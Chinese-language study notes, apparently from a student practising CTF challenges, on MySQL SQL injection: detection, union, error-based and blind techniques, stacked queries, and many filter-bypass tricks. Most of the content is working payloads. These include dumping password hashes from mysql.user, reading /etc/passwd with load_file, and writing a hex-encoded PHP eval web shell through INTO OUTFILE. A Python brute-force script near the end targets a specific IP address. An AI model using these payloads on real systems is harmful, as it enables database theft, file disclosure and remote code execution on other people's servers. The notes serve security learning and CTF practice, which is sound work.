万能密码
有时候输入 admin' or 1=1#被拦截
可以试试 admin' or 1=1--+
mysql5.0上下有什么区别
5.0以上:
存在 information_schema 数据库,可以通过 UNION SELECT 直接查询该数据库,快速获取数据库名、表名、列名等结构信息
5.0以下:
不支持 information_schema。只能通过传统的盲注手段,逐个字符猜解表名和列名,效率极低
一、sql的流程解析(2025.12.17大一上)
(一)、先判断是否为注入点 (个人观点,仅供参考),同时判断为什么类型,在四中有写
1.如果输入'或者"就直接报错,说明他与数据库交互了,则该处为注入点(也可以查看返回包,如果长度变化,可能存在Sql注入)
2.即使1中没有报错,也不能说明无注入点,可能是后台做了过滤,可以尝试逻辑判断语句,例如对于数字型,and 1=1,页面正常,大概率就可以说明有sql注入了,如果and 1=2 页面报错,那就基本存在了(如果and 1=2正常那就是字符注入了);对于字符型,1‘ and ’1‘=’1 页面正常,而1' and '1'='1 页面报错(这里的报错是指页面直接返回了注入的字符等等)
注:还可以使用
') and 1=2,
") and 1=2,
) and 1=2,
")) and 1=2等等,总之要不断尝试,看看能不能让它报错
注:有些地方直接写') and 1=2--+实际上我感觉是有些问题的,那些人想的是同时把让页面报错和寻找闭合方式结合成同一步(即直接让页面正常,这也其实没什么问题,但对于新手不太好理解,这样就要回过来再判断到底是什么类型的注入,比如说报错类型,盲注),因为我想的是先让它报错,再观察页面变化,就方便下一步的payload类型注入(比如字符型还是updatexml()报错注入)
3.即使没有报错信息,但是也可能存在注入点,因为有时侯注入成功了,但是数据库不会回显,这时就可能存在盲注以及报错注入了,报错注入是由于后台没有对数据库的报错信息进行屏蔽
3.1 报错注入的快速判断方法:1' and updatexml(1,'~',3)--+(观察页面是否有类似XPATH syntax error:'~'出现,有则为报错注入)
problem:为什么用' and updataxml(1,concat(0x7e,(select password from users limit 0,1)))--+,同时改变为limit 1,1和limit 2,1来翻页查看,而不是' and updatexml(1,(select group_concat(password) from users),1)--+
答:updatexml()和extractvalue()函数最多只能显示32个字符,而group_concat()为聚合函数,不能和limit联用,也就是说当数据过多时,只能显示部分数据,而concat配合limit可以翻页查看所有的数据(可以在爆字段内容之前先用select count(*) from 表名来判断有多少行)
(下面以'为例,当然也可以为"等等,目的是为了让其报错)
3.2输入'不会报错,但是页面有变化,则为布尔盲注,我们就要让前面那个条件为真,通过不断改变payload来得到信息(通过页面是否变化来判断payload的真伪),例如:admin' and select length(database())=7#,通过改变7处的值直到页面变化,就可以获得数据库的长度,注意这里用and,并且admin是已知为真
3.3当输入'时没有报错,并且页面没有变化,但是响应时间变化了,说明数据库与其交互了,有时间盲注(这和xss是十分相似的,xss也是注入到代码中,与代码交互了,alert()的注入弹窗就相当于这里的页面变化,响应时间的变化)
注:还有堆叠注入1;show databases()#可以快速判断(这他妈太阴了wc)见七
(二)、寻找闭合方式,因为要使sql语法正确,才可以执行后面的payload,所以这一步的目的在于使异常(报错)的页面变成正常
这一步就没什么好说的了,就是字符型要注意用上注释符(--+)(--)(#)
(三)、接下来就是判断列数了(当用union查询时,也叫联合查询注入)
1.使用union查询实际上不仅要列数对应,还应该数据类型兼容(不是相同),但这与数据库的检查也有关系,mysql,postgresql,sqlite可以隐式把数字转化为字符串,所以可以用' union select 1,2,3--+来判断,
但是对于oracle检查严格,这时就可以用NULL来判断了(NULL可以转换成任意数据类型),即 ' union select NULL,NULL,NULL,--(所以对于数据库类型未知的推荐用NULL)
(四)、接下来就是确定回显位了
' union select 'a',NULL,NULL--
‘ union select NULL,’a‘,NULL--
’ union select NULL,NULL,'a'--
二、绕过手法
确定了回显位,就十分简单了,网上一堆教程,接下来介绍有些绕过技巧
大小写,双写绕过就不说了
(一)例如SELECT关键字被过滤了
【1】用CHAR(ASCII码)
即CHAR(83)||CHAR(69)||CHAR(76)||CHAR(69)||CHAR(67)||CHAR(84),其中||为连接符,(也可以使用+来进行连接)
工具:captfencoder----ascii转化-----记得选10进制!!!!
【2】十六进制编码:
select *from `1919810931114514` (纯数字表名要加上反引号)*号查询数据表里面的全部内容,这就是爆出flag的原理进行16进制编码加密
73656c656374202a2066726f6d20603139313938313039333131313435313460最终payload:
1';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#prepare…from…是预处理语句,会进行编码转换。execute用来执行由SQLPrepare创建的SQL语句。SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。0x就是把后面的编码格式转换成16进制编码格式那么总体理解就是,使用SeT方法给变量a赋值,给a变量赋的值就是select查询1919810931114514表的所有内容语句编码后的值,execsql方法执行来自a变量的值,prepare…from方法将执行后的编码变换成字符串格式,execute方法调用并执行execsql方法。
【3】 handler代替select
select命令被过滤了怎么办?我们还可以用handler命令进行查看,handler命令可以一行一行的显示数据表中的内容。
构造payload:
(1)1'; handler sb open as a; handler a read next;# handler代替select,以一行一行显示内容(表名为sb)
open打开表
as更改表的别名为a
read next读取数据文件内的数据次数(再次输入就会读取下一行,在终端是这样,但在实际题目我碰到的不是)
#一定要输入open,只输入handler 表名 read next;没用 (2)因为其一次只能获取一行数据,要获取其他行,就要用到first和limit
【1】读取第二行
1';handler flag open;handler flag read first;handler flag read next#
【2】跳过第一行,即最后读的是第三行
1';handler flag open;handler flag read first limit 1,1;handler flag read next#接下来改为limit 2,1....即可,但是我做题时用 1';handler flag open;handler flag read first limit 0,10;handler flag read next#它也可以返回多行数据(3)这里用多次next来读也可以
';HANDLER flag OPEN; HANDLER flag READ NEXT;HANDLER flag READ NEXT;HANDLER flag READ NEXT;HANDLER flag READ NEXT;HANDLER flag READ NEXT;HANDLER flag READ NEXT;HANDLER flag READ NEXT#

【4】预编译
就是先set(定义)一个变量@a,然后prepare(准备)一个b从@a那获得,然后execute(执行) b,也就是变相地执行了@a的语句,类似于变量代换
格式步骤:
<1> SET @sql = SQL语句;
<2> PREPARE b from @sql;
<3> EXECUTE b;
其中sql语句可以采用concat拼接//采用concat语句进行拼接,绕过select过滤
?inject=1';SET @sql = concat('sele','ct flag from `1919810931114514`;');PREPARE stmt from @sql;EXECUTE stmt;#
【5】mysql 8.0.19新增语句table
table table_name
过滤select可以使用table代替
table总是显示所有列,table不能使用where来进行筛选
(二)空格过滤:
【1】可以用/**/来代替空格,如果要求必须包含某些关键字(如foo)才可以绕过,直接在注释中插入/*foo*/
还可以用/*|%23--%23|*/来干扰绕过,还有/*%00*/
【2】括号代替空格
union select 1,2==union(select(1),(2))111'or(1<>2)#
【3】url编码代替空格
%0a(换行符)、%0b(垂直制表符)、%0c(换页符)、%0D(回车符)、%09(水平指标符)
(三)'-0-'绕过(过滤了or,and,union等)
(注意:这个技巧在MySQL 8.0+可能失效 -- 因为MySQL 8.0增强了类型安全)
后端代码:
select * from users where username='xxx';
我们可以输入admin'-0-',代码变为
select * from users where username='admin'-0-''
看成'admin'-0的运算
由sql转换规则可知'admin'=0,然后就是0-'',可知''转化为0结果就是0-0=0,于是就变成了username=0,这就很有用了
,username=0会和所有用户名比较,而且比较时用户名会被转化为数字,'admin'=0为真,'husao'=0为真
'0aaa'=0为真,也就是说,所有以字符串开头的用户名或者前导0加上字母的与username=0匹配都会返回true
(select "007";结果为7是不行的 )
注:类似的还有'+0+', '*1' , admin'e'0 (e为科学计数法)
(四)mysql的版本注释绕过:
/*!关键字*/(不加版本号则任何版本默认执行)(在mysql中这个!表示取消注释)
【1】如果过滤了user()
select /*!user*/()==select user()同理 ' or 1=1--+ 等效于 ' or 1/*!=*/1--+
注:还有一个有趣点,如果一个注释以!开头,紧接着是数据库版本字符串,只要数据库版本>=那个字符串,程序就会把注释内容识别为sql语句,否则不执行
例如:/*!32302 and 1=0*/只要mysql版本高于3.23.02,注入上面的语句会使select的where语句为假,主要用来判断版本号
注:要想绕过,就得不断尝试,管他语法对不对,/*/*/**/嵌套无所谓,能够过就行
(五) and和or被过滤
【1】&&代替and,注意在url栏输入时要进行url编码
【2】用||来替换or
【3】用^来代替or
异或(^)相同为假(0),不同为真(1)。
1 ^ 1 = 0
0 ^ 0 = 0
1 ^ 0 = 1
0 ^ 1 = 1
前端密码校验:后端查询语句如下
SELECT * FROM users WHERE username='admin' AND password='$password'
当 or 被过滤时
输入 1'^1'
拼接后为password='1'^'1',即为password=0,在 MySQL 中,对于 password 字段里所有不以数字开头的字符串或者前导0加上字母的,都会被认为是 0
报错注入:
#爆破出数据库名为geek
1'^extractvalue(1,concat(0x7e,(select(database()))))#
#爆破表名
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#
#爆破字段
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#
#爆破数据
1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#
(六)对=号进行过滤:
【1】 (<>在sql中表示不等于)
or 1=1 可以用 or 1<>2来表示
【2】可以把=替换为like或者rlike,
select * from admin where username like 'admin';select * from admin where username rlike 'admin';
【3】用between xxx and xxx
select * from admin where username between 'admin' and 'admin';
【4】用regexp绕过
select * from admin where username regexp 'admin';
【5】and 1=1不行
(1)left(1,1)=1
#left(1,1)表示从左边的1截取1位,结果为1,即1=1恒真(2)right(1,1)=1
(七)对逗号过滤:
【1】使用from start for length(对于substr)
substr('字符串',start,length)==substr('字符串' from start for length)
注:如果for被过滤了,例如substr('flag' from 1) 会返回 flag(也就是从第1位一直截取到结尾),有时我们只要第一位字符
如果reverse没有被过滤:
substr((reverse(substr('flag' from 1))) from 4)#substr('flag' from 1))得到 flag
#再用reverse函数处理一下得到galf,在substr('galf',4)从第四位截取到末尾,即得到'f'字符
【2】使用offset(对于limit)
limit m,n==limit m offset n
【3】针对联合查询的列数填充,用 join 语句替代逗号分隔的列,比如
UNION SELECT * FROM (SELECT 1) a JOIN (SELECT 2) b JOIN (SELECT 3) c;
##其中的a,b,c是表的别名1 union select 1,2,3,4
若要提取数据则替换为:
1 union select * form (select 1)a join (select database())b join (select 3)c join (select 4)d
【4】当if()被过滤了
| 原写法(被过滤) | 替代写法(绕过) |
|---|---|
IF(condition, true_val, false_val) |
CASE WHEN condition THEN true_val ELSE false_val END |
例如:id=1' AND IF(1=1, SLEEP(5), 0) --+被过滤了
等价于:
id=1' AND CASE WHEN 1=1 THEN SLEEP(5) ELSE 0 END --+
(八)mod(8,7) in (1)替换1=1
它的效果和1=1是一样的
mod(8,7)就是8除以7然后取余为1,再判断是否在(xx,xx,xx....)列表中存在,存在则返回1(true)
注:上面的绕过不了也可以尝试混合一下,即?id=1/*|%23--%23|*/or/*|%23--%23|*/mod(8,7)/*|%23--%23|*/in/*|%23--%23|*/(1)--+(同理可以用/*%00*/)
(九) 字符串显示不全,用以下函数对字符串进行截取
1.substr()2.left()3.right()4.mid()
| 函数 | 语法 | 说明 |
|---|---|---|
MID() |
MID(string, start, length) |
从 start 位置开始,截取 length 个字符 |
SUBSTR() |
SUBSTR(string, start, length) |
同上,功能完全等价 |
SUBSTRING() |
SUBSTRING(string, start, length) |
同上 |
ascii(substr((select flag from flag),1,1)) = 102
完全等价于:
ascii(mid((select flag from flag) from 1)) = 102
(10) order by被过滤
【1】用group by替换,用法和order by一样
id=1 group by 1正常
id=1 group by 2报错
说明只有1列'group/**/by/**/23#
【2】使用INTO @a, @b, @c...
-1 union select 1 into @,@,@--+
当用bp爆破看到@没被过滤,可以往这方面想
原理:SELECT ... INTO @variable 的作用是把查询出来的结果,存到用户定义的变量里。用法:你需要猜列数。
假设你猜有 3 列:id=1 INTO @a, @b, @c
如果列数匹配(确实是 3 列),SQL 语句执行成功,页面可能正常(或者虽然不显示数据,但不报错)。
如果列数不匹配(比如只有 2 列,你写了 3 个变量),数据库会直接报错:“The used SELECT statements have a different number of columns”
(11) information_schema被过滤
【1】innodb_table_stats绕过(适用于mysql5.5.8版本及以上)
mysql 5.5.8之后开始使用InnoDb作为默认引擎,mysql 5.6的InnoDb增加了innodb_index_stats和innodb_table_stats两张表
这两张表记录了数据库和表的信息,但是没有列名
select group_concat(database_name) from mysql.innodb_index_stats;
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()##table_name和database_name是固定字段,不用改
mysql配置文件:default-storage-engine=InnoDB
命令显示引擎:show engines
【2】sys库绕过
MySQL 5.7开始增加了sys库,这个库可以用于快速了解系统元数据信息。sys库通过视图的形式把information_schema和performance_schema结合起来,查询令人容易理解的数据。
sys库的两种形式:
1.正常的:schema_table_statistics_with_buffer(适合人阅读)
2.以x$开头:x$schema_table_statistics_with_buffer(适合工具采集数据)
sys.schema_auto_increment_columns
这个视图用于保存有自增字段的数据库信息,一般设计表时都会设置自增字段(如id)
#查询数据库名
select table_schema from sys.schema_auto_increment_columns
#查询表名
select table_name from sys.schema_auto_increment_columns where table_schema=databse()
schema_table_statistics_with_buffer
不存在自增字段时使用schema_table_statistics_with_buffer
# 查询数据库
select table_schema from sys.schema_table_statistics_with_buffer;
select table_schema from sys.x$schema_table_statistics_with_buffer;
# 查询指定数据库的表
select table_name from sys.schema_table_statistics_with_buffer where table_schema=database();
select table_name from sys.x$schema_table_statistics_with_buffer where table_schema=database();
【3】mysql.user读取用户信息
select concat(host,':',user,':',password)from mysql.user;

密码算法:这实际上是 SHA1(SHA1(password)) 的双重哈希结果。
- MySQL 并不存储明文密码。
- 它先对用户输入的密码进行一次 SHA1 运算。
- 然后再对结果进行一次 SHA1 运算。
- 最后将结果转换为大写十六进制字符串,并在前面加上
*号
如果密码是 password:
第一次 SHA1: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
第二次 SHA1: 2470c0c06dee42fd1618bb99005adca2ec9d1e19
加上 *: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
(12) 无列名注入绕过
1. 利用 join ... using 报错(适用于有报错回显)
利用了 MySQL 在处理自然连接(Natural Join)或 USING 子句时的一个特性:当两张表连接时,如果遇到同名的列,MySQL 会尝试合并它们,但如果处理不当,会抛出“列名重复”的错误,并在错误信息中把列名显示出来。
join用于合并两个表,using表示使用什么字段进行连接,用using指定了连接字段则查询结果只返回连接字段
select * from user as b join user using(id) as c
#这里使用id进行连接,只会返回id列
思路:利用join合并同一表,报错重复的列名,再利用using爆出所有的列名
假设目标表是 users,我们不知道里面有 id, username, password。
# 得到 id 列名重复报错
select * from users where id='1' union all select * from (select * from users as a join users as b)as c;
# 得到 username 列名重复报错
select * from users where id='1' union all select * from (select * from users as a join users as b using(id))as c;
# 得到 password 列名重复报错
select * from users where id='1' union all select * from (select * from users as a join users as b using(id,username))as c;
# 得到 user 表中的数据
select * from users where id='1' union all select * from (select * from users as a join users as b using(id,username,password))as c;

这里去掉where id='1'也行

2. 利用子查询与别名(适用于无报错,需盲注或联合查询)
原理:
- 利用
UNION SELECT将我们构造的数据(比如1, 2, 3, 4)和真实表的数据合并。 - 将这个合并后的结果集作为一个临时表(子查询)。
- 在外层查询中,直接用反引号(`)引用数字作为列名
利用union联合查询构造列名
select 1,2,3,4 union select * from users
把列名变成了1、2、3、4

select `2` from (select 1,2,3,4 union select * from users)a
select a.2 from (select 1,2,3,4 union select * from users)a
#记得第一个2加反引号,或者使用a.2
#这里a是别名,子查询必须起别名

select * from users where id='-1' union select 1,2,group_concat(`3`) from (select 1,2,3 union select * from users)x;select * from users where id='-1' union select 1,2,group_concat(x.3) from (select 1,2,3 union select * from users)x;select * from users where id='-1' union select 1,2,group_concat(x.c) from (select (select 1)a,(select 2)b,(select 3)c union select * from users)x;
注:若反引号(`),逗号(.)被过滤了,用as起别名
select b from (select 1,2 as b,3,4 union select * from users)a;

(13)表名被单引号转义
sql注入--绕过addslashes()函数-宽字节注入 - FreeBuf网络安全行业门户
【1】表名转化为16进制绕过
1%df' union select (select/**/group_concat(column_name)/**/from information_schema.columns/**/where /**/table_name= 'flag_store'),2,3,4,5###前面的%df是绕过服务器addslashes()转义用GBK绕过,但后面在表名处又做了转义,他表名那里肯定不能再用gbk了,不然他又新生成一个汉字,会导致查的表名改变,所以用16进制来绕过
注:这里有个容易误解的点:转义后我们看到的\\'里有两个反斜杠\\,但这只是"显示效果"。实际存储的只有一个反斜杠字节0x5C,之所以显示成\\,是因为反斜杠\本身在字符串里是"特殊符号",需要用\\才能正确显示

flag_store转化为0x666C61675F73746F7265,记得要加上0x前缀1%df' union select (select/**/group_concat(column_name)/**/from information_schema.columns/**/where /**/table_name=0x666C61675F73746F7265),2,3,4,5#
二、判断字符型还是数字型的小技巧
(1)判断注入类型,数字型还是字符型
构造payload:?id=1 order by 9999 --+
如果是字符型,我们构造的payload在后端大概是这样子的id='1 order by 9999 --+',注释符【--】实际上在执行的时候,被当成id的一部分,也就是说,在执行时,条件是id='1 order by 9999 --+'。最终只会截取前面的数字,返回id=1的结果(这和php的转化有关系)
如果是数字型,我们构造的payload在后端大概是这样子的id=1 order by 9999 --+,但在现实生活中,根本就没什么可能会存在有9999个字段的表,所以会报错。(不放心可以设置的更大一些,不过显然没必要)
(2)判断是否为数字型
如果访问http://192.168.1.4/index.php/?id=2正常,再访问http://192.168.1.4/index.php/?id=3-1页面无变化,可以说明mysql对于"3-1"进行了计算,从数字运算这个特征可以判断该注入点为数字型注入
(3)判断是否为字符型,如果访问http://192.168.1.4/index.php/?id=2正常,再访问http://192.168.1.4/index.php/?id=2a页面无变化,可以判断为字符型(php的类型转化)
三、sql注入的技巧
(1)as别名
源码如下:
<?php
$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$res = mysqli_query($conn, "SELECT ${_GET['id']}, content FROM wp_news");
$row = mysqli_fetch_array($res);
echo "<center>";
echo "<h1>".$row['title']."</hl>";
echo"<br>";
echo"<hl>".$row['content']."</h1>";
echo "</center>";
这里,"SELECT ${_GET['id']}, content FROM wp_news"为可以被注入的SQL查询,其中注入点在SELECT操作符后,即表名的输入位置。 这里已知的是,we_news表中一共只有两列:title列和content列,而理论上该查询需要输入的id为“title”。
《0到1CTFer》指出,可以采取时间盲注的方式,但是根据 MySQL 的语法,有更优的解决方法,即利用 AS 别名的方法,直接将查询的结果显示到界面中。
payload:?id=(select pwd from wp_user) as title
这里的wp_user中存储着用户名和密码,通过这种注入方式可以使得界面回显出密码,如下

为什么非要使用已存在的列名
事实上,如果只谈SQL注入本身,别名设置为任何名字都可以,而在本文的示例中,必须要将注入部分的列名命名为“title”的原因在代码的第6行:echo "<h1>".$row['title']."</hl>";。在查询出结果后,前端只会将列名为“title”的列进行回显,由于别名 title 与 wp_news 表中的现有列名相同,注入的 SQL 查询结果会覆盖原始 title 列的值。如果将别名改为一个在 wp_news 表中不存在的列名,注入的 SQL 仍然会执行,但是它的结果会作为一个新的列添加到查询结果中,就无法在前端回显orz。使其退化为布尔盲注。
例如,如果的 payload 是 ?id=(SELECT pwd FROM wp_user AS new_column),并且 wp_news 表中没有名为 new_column 的列,那么 SQL 注入会导致 new_column 列(含有 wp_user 表中的 pwd 数据)被添加到查询结果中。但是,由于第6行代码只打印 title 和 content 列的值,这个新添加的列的内容并不会直接显示在页面上。
嵌套查询的执行顺序
这里就顺便说一下,注入后的嵌套查询:SELECT (select pwd from wp_user as title), content FROM wp_news的执行顺序。
- 执行子查询:对于主查询中的每一行,都会执行一次子查询。这意味着如果
wp_news表中有 N 行,子查询就会执行 N 次。每次执行时,子查询都从wp_user表中检索pwd列的值,而后外部的主查询会从wp_news中取出一行。 - 组合结果:子查询的结果(即
wp_user表中的pwd值)与主查询出的content列进行拼装。 - 返回最终结果:最终的结果集包含两列:子查询返回的
pwd列和wp_news表的content列。
这里需要注意,对于select_expr中的子查询必须是标量子查询,即如果子查询返回多行,它通常会导致一个错误,因为标量子查询应该只返回一个单一的值(只有一行一列)来拼装进主查询中的每一行。
总结
这种AS别名的注入方法,必须要设置别名为已有列名的原因在于前端限制了回显,同时这种诸如能成功的前提在于查询必须是标量子查询,即?id=(select pwd from wp_user as title)这里所返回的密码只能有一个值,不然由于SQL语法错误查询无法执行。
(2)如果将上面的sql查询语句改为$rel=mysqli_query($conn."select title from ${_GET['table']}");
仍然可以用as方法;(如果不知道表名,可以先从information_schema.tables中查询表名)
payload: select title from (SELECT pwd as title from wp_user)
四、堆叠注入
堆叠查询注入指的是在 SQL 语句中,通过分号结束前一条 SQL 语句,同时拼接执行一条或多条新的 SQL 语句,实现多语句并行执行。
使用条件为:数据库底层采用了支持多语句执行的 API,比如 PHP 中的 mysqli_multi_query()、Java 中的 Statement 接口,预编译语句无法执行堆叠注入。
实战中的利用方式,除了常规的增删改查操作,还可以创建数据库用户、修改用户权限、写入文件到服务器,比如通过 SELECT ... INTO OUTFILE 写入 WebShell,是 从 SQL 注入到 GetShell 的关键手段
注:用bp跑脚本爆破时可以看看;有没有被过滤,如果没有,可以往堆叠注入那方面想
快速判断:
1;show databases#还有 1;show tables#
注意databases,tables后面均没有分号(;)
2.例子:
一、后台查询语句:
select $_POST['query'] || flag from flag
payload:
*,1
即为 select *,1 || flag from flag, 1|| flag 被看作一个整体(因为||为逻辑或,当前面的不为0时,就返回前面的,而忽略后面的),上面的相当于select *,1 from flag,于是就可以查询出flag表的全部内容
二、 假设后端代码中有一个查询,它使用了 || 作为逻辑“或”来拼接用户输入,例如:
SELECT * FROM users WHERE id = '$id' || username = '$username';
如果攻击者想通过 || 来注入,比如输入 1' || '1'='1,可能会被WAF识别并拦截。
通过堆叠注入先执行 set sql_mode=PIPES_AS_CONCAT,攻击者就可以在后续的查询中,将 || 用作字符串连接符。这样,原本用于逻辑判断的符号就变成了拼接字符串的工具,从而可以构造出完全不同的、能绕过检测的SQL语句
payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1
解释:
set sql_mode=PIPES_AS_CONCAT:这是攻击的核心。它将当前会话的SQL模式设置为 PIPES_AS_CONCAT【1】sql_mode:是MySQL等数据库的一个系统变量,用于定义服务器应支持的SQL语法和数据校验的严格程度。
【2】PIPES_AS_CONCAT:这个模式会改变 || 运算符的行为。在默认情况下,|| 是逻辑“或”运算符。但启用此模式后,|| 会被当作字符串连接符(类似于 CONCAT() 函数)来使用
3.例子2
(1)已知为堆叠注入,preg_match("/select|update|delete|drop|insert|where|./i",$inject);并且过滤了select等字
1.1 输入1';show databases#,回显了数据库ctftraining,因为过滤了select,所以payload为1';use ctftraining;show tables#
1.2 1';use ctftraining;show columns from flag;#
注意:纯数字型的表名要加上反引号
show flag from `666666`
五、load_file直接读取文件
前提:
【1】用户具有file权限
可以通过select user,host,file_priv from mysql.user;来查看

【2】文件大小小于mysql系统变量max_allowed_packet
【3】开启了secure_file_priv,若为null,则禁止读写,若为空,则可读任意文件
(可以用show variables like '%secure%'查看或者select @@secure_file_priv)
正常:' union select 1,load_file('/etc/passwd')#报错注入:1' and updatexml(0x23,concat(1,load_file("/etc/passwd")),1)#注:可以直接16进制编码绕过,mysql会自动识别并解码,记得加上0x前缀:
updatexml(0x23,concat(1,load_file(0x2f6574632f706173737764)),1)例如:读取/home/www-data/flag
由于 updatexml 报错注入有长度限制(最多显示32个字符),需要分段读取updatexml(0x23,concat(1,substring(load_file(0x2f686f6d652f7777772d646174612f666c6167),1,10)),1)
updatexml(0x23,concat(1,substring(load_file(0x2f686f6d652f7777772d646174612f666c6167),11,10)),1)下图是读取D:/sql.txt,其编码为0x443A5C5C73716C2E747874

注意:windows读取要转义,即
select load_file('C:\\sb.txt');
或者
select load_file('c:/sb.txt');#失败则会返回NULL,如下图就是没有加上\\转义

注意:table_schema千万别省,其它的库中也可能有users表,导致错误
注意:192.168.1.4/sqlilabs/Less-5/?id=1' or extractvalue(1,concat(1,(select password from users limit 0,1),0x7e))--+``把limit 0,1改为limit 1,1 和 limit 2,1等等,
可以翻页查看(当为concat时),由于updatexml()和extractvalue()最多只能显示32个字符,且group_concat()不能配合limit使用,所以要用concat和limit
六、into outfile写入文件
前提:
【1】当前数据库用户必须拥有FILE权限
【2】secure_file_priv未限制:该参数不能为NULL,否则禁止文件读写
建议写十六进制,0x3c3f706870206576616c28245f504f53545b27636d64275d293b3f3e 解码后就是 <?php eval($_POST['cmd']);?>,十六进制防止和SQL语句本身的引号冲突,导致语法错误或被转义函数(如addslashes())破坏
1' union select 0x3c3f706870206576616c28245f504f53545b27636d64275d293b3f3e,null,null into outfile '具体实际路径' --+
注:我这一开始用select 0x3c3f706870206576616c28245f504f53545b27636d64275d293b3f3e,null,null into outfile 'd:\\333.php';不行
MySQL 要求 SELECT ... INTO OUTFILE 必须从一个表或虚拟表中选择数据。你不能直接 SELECT 常量 INTO OUTFILE,除非你从一个表中选,或者用 FROM DUAL(MySQL 的虚拟表)
所以本地实验用select 0x3c3f706870206576616c28245f504f53545b27636d64275d293b3f3e,null,null into outfile 'd:\\333.php' from dual;,实战中一般union select注入,前面一般会有from xxx表来提取数据的

七、函数分析
(一)报错注入函数
MySQL 中主流的报错注入函数包括 updatexml()、extractvalue()、floor(rand()*2) group by 组合。
updatexml() 适用于 MySQL 5.1.5 及以上版本,原理是更新 XML 文档时,传入不符合 XML 格式的内容触发报错,单条语句最大返回 32 个字符,实战中可通过字符串截取函数分段获取数据。
extractvalue() 同样适用于 MySQL 5.1.5 及以上版本,原理是解析 XML 文档路径时,传入非法格式的路径触发报错,返回字符限制与 updatexml() 一致,二者常配合使用覆盖完整数据。
floor(rand()*2) group by 适用于 MySQL 5.0 及以上版本,原理是分组查询时,rand() 函数多次计算导致主键重复触发报错,兼容性更广,适合低版本 MySQL 环境
(1)updatexml()
是 MySQL 中的一种 XML 处理函数,它用于更新 XML 格式的数据,其标准的用法如下:
UPDATEXML(xml_target, xpath_expr, new_value)
其中,xml_target 是要更新的 XML 数据,xpath_expr 是要更新的节点路 径,new_value 是新的节点值
(2)extractvalue()
是 MySQL 中的一个 XML 处理函数,它用于从 XML 格式的数据中提取指定节点的值。
正常情况下他的语法如下:
EXTRACTVALUE(xml_target, xpath_expr)
其中,xml_target 是要提取节点值的 XML 数据,xpath_expr 是要提取的节点路径。
它用于报错注入的方法其实和 updatexml() 函数的使用方法差不多 但是参数少一个 x
而且报错信息长度限制也和 updatexml() 一样
报错注入(1要为真)(报错注入不是当字符、数字注入不行时才用,比如当过滤了union就可以考虑用报错注入)注意可能要加上注释
1.报错注入的快速判断方法:1' and updatexml(1,'~',3)--+(观察页面是否有类似XPATH syntax error:'~'出现,有则为报错注入)
(1) 1 and updatexml(1,concat(0x7e,database(),0x7e),99)#(2) 1 and updatexml(1,concat(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_scema='sqli')),66)#(3) 1 and updatexml(1,concat(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='flag' and table_name='sqli')),3)#(4) 1 and updatexml(1,concat(0x7e,(select group_concat(flag) from flag)),3)#注:上面的不行就换下面的1 and extractvalue(null,concat(0x7e,mid(select flag from flag),4),0x7e))#
翻页查看,同时改变为limit 1,1和limit 2,1来翻页查看:' and updataxml(1,concat(0x7e,(select password from users limit 0,1)))--+
2.当and被过滤,而or没有(浏览器不行就换bp或hackbar)
//爆库名
1'or(extractvalue(1,concat(0x7e,(database()))))%23
//爆表名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23
//爆字段名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")))))%23
//爆字段值
1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)))))%23 //当flag只显示了一半 1'or(extractvalue(1,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),30))))%23
//flag显示了左一半用right,显示了右一半用left
//应该也可以用substr(),mid()
注:right(strings,number)中的number不能太大,否则函数会失效
(二)布尔盲注函数
常用的函数包括 length()、substr()、ascii()、if()。
执行逻辑为:先通过 length() 函数判断目标数据的长度;再通过 substr() 逐位截取字符,用 ascii() 将字符转换为 ASCII 码,通过 if() 判断 ASCII 码的数值范围,逐位猜解出完整的数据内容
【1】这里介绍一种思路
1/0报错,
1/length(user()-a) #a通过bp从1到20爆破,最后得到用户名
#edu是只要爆破出数据就会收

【2】利用'-0-'绕过(过滤了or,and,#,--+等)
前提:已知用户名出为字母或0开头,假设用户名为admin,下面的payload成功时才会匹配到
xxx'-((Length(database()))-1)-'
xxx'-((Length(database()))-2)-'
一次替换数值,直到页面不一样,最后面的单引号用来闭合语句,当注释符被过滤时极其有用
(1)爆破数据库名
目的是截取出数据库名字第一个字符的 ASCII 码和后面固定的字符的 ASCII 码做判断,如果成立整个原地结果是 1,不成立是 0,而我们让 0 参与进去整个 SQL 语句形成 - 法就能让整个语句判定为true
xxx'-(ascii(mid((database())from(1)))>97)-'
xxx'-(ascii(mid((database())from(1)))>98)-'
脚本:
import requestsurl = "http://117.72.52.127:11554/login.php"
list = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9","_","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z",
]
db_name = ""
for i in range(1, 9):for j in list:payload = f"xxx'-(ascii(mid((database())from({i})))>{ord(j)})-'"data = {"uname": payload, "passwd": "xxx"}res = requests.post(url, data=data).text# 当第一次出现密码不存在字符时,记录当前字符if "password error!!" in res:db_name += jbreakprint(db_name)
(2)爆破表名
OR 都被屏蔽了,所以还得想办法构建 - 0 这种格式的核心思路。那我既然测试表名是否存在还要让这个中间部分的值是 0,那就直接 SELECT 0 ,固定返回 0,但是前提是 FROM 后面的表在数据库里存在才行,否则就报错了
xxx'-(SELECT(0)FROM(bugkuctf.admin))-'假设表名为admin,成功则不报错,整体为0
这里脚本就直接猜表名了
import requests# 常用数据库名字
